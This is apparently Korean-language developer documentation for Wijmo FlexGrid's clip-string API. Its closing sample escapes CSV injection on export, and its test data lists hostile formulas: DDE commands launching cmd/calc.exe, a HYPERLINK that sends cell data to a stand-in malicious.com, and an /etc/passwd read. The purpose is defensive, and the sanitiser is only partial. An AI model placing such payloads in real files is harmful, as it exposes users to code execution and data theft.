[]
        
(Showing Draft Content)

클립 문자열

Wijmo FlexGrid 컨트롤은 클립보드로 복사하거나 CSV(Comma-Separated Values) 파일로 내보내기에 적합한 문자열 형태로 CellRange의 내용을 가져올 수 있는 기능을 제공합니다.

import { FlexGrid, CellRange } from '@mescius/wijmo.grid';

const theGrid = new FlexGrid('#theGrid', {
    itemsSource: data
});

// get clip string from the specific range of grid
const clipString = theGrid.getClipString(new CellRange(0, 0, 2, 2));
console.log(clipString);

// the result of clipString will be like:
0    Japan	Stereos
1    Greece	Cars
2    Italy	Cars

이 API의 두 번째 매개변수를 구성하여 출력 형식을 제어할 수 있습니다. 자세한 사용법은 getClipString과 ClipStringOptions를 참조하시기 바랍니다.


클립 문자열을 얻는 과정은 각 셀의 값을 개별적으로 추출한 다음 이들을 이어 붙여 출력하는 방식으로 이루어집니다. 따라서 Wijmo는 각 셀의 값을 추출한 후에 해당 값을 후처리할 수 있도록 gettingCellClipString 이벤트에 구독할 수 있는 기회를 제공합니다. 이 기능은 데이터 재처리나 CSV 인젝션 방지 같은 시나리오에서 유용합니다.

import { FlexGrid } from '@mescius/wijmo.grid';
import { saveFile } from '@mescius/wijmo';

const grid = new FlexGrid('#theGrid', {
  itemsSource: getData()
});

// process cell clip string
const convertMap = ['One', 'Two', 'Three'];
grid.gettingCellClipString.addHandler((grid, e) => {
  const cellData = e.data;
  e.data = convertMap[cellData];
});

// get clip string
const range = grid.viewRange;
const clipString = grid.getClipString(range);
console.log(clipString);

// the result of clipString will be like:
One	Japan	Stereos
Two	Greece	Cars
Three   Italy	Cars


다음 샘플은 gettingCellClipString을 통해 CSV 인젝션을 방지하여 내보내는 방법을 보여줍니다.

import { FlexGrid } from '@mescius/wijmo.grid';
import { saveFile } from '@mescius/wijmo';

const grid = new FlexGrid('#theGrid', {
  itemsSource: getData()
});

// handle CSV injection with event
grid.gettingCellClipString.addHandler((grid, e) => {
  e.data = escapeCSVInjection(e.data);
});

// export to CSV file
const clipStringOption = ClipStringOptions.CSV | ClipStringOptions.QuoteAll;
const range = grid.viewRange;
const clipString = grid.getClipString(range, clipStringOption);
saveFile(clipString, "export", 'text/csv');

// core logic for escaping CSV injection
function escapeCSVInjection(content) {
  // handle the normal formula
  const dangerousStarts = ["=", "+", "-", "@"];
  const needEscape = dangerousStarts.some(char => content.indexOf(char) === 0);
  if (needEscape) {
    return `'${content}`;
  }
  // handle the formula with " before
  const containsQuote = dangerousStarts.some(char => content.indexOf('"' + char) === 0);
  if (containsQuote) {
    return content.replace(/^"([=\+\-@])/, (match, $1) => '"\'' + $1);
  }
  // handle the split and wrap situations
  const containsWrap = content.indexOf(";") > -1 || content.indexOf("%0A") > -1;
  if (containsWrap) {
    return content.replace(/(\;|%0A)([=\+\-@])/g, (match, $1, $2) => "'" + $2);
  }
  return content;
}

function getData() {
  const dangerInfos = [
    "=cmd|' /C calc.exe'!A0",                            // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
    "+cmd|' /C calc.exe'!A0",                            // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
    "-cmd|' /C calc.exe'!A0",                            // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
    "@SUM(cmd|'/c calc'!A0)",                            // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
    '=HYPERLINK("http://malicious.com/"&A1,"Click Me")', // malicious formula, it will open phishing website
    '=../etc/passwd',                                    // stealing information
    '=IF(TRUE,IF(TRUE,IF(TRUE,...)))',                   // infinite loop
    ';+2-1',                                             // split execution
    '  %0A=2-1'                                          // execute on the next line
  ];
  const data = [];
  for (let i = 0; i < dangerInfos.length; i++) {
    data.push({
      id: i,
      formula: dangerInfos[i]
    });
  }
  return data;
}


이 예제에서는 위험한 수식 또는 특수 문자열로 시작하는 셀 내용을 검사하여, 필요 시 앞에 작은따옴표(')를 붙이거나 적절히 치환하는 방식으로 CSV 인젝션을 방지합니다.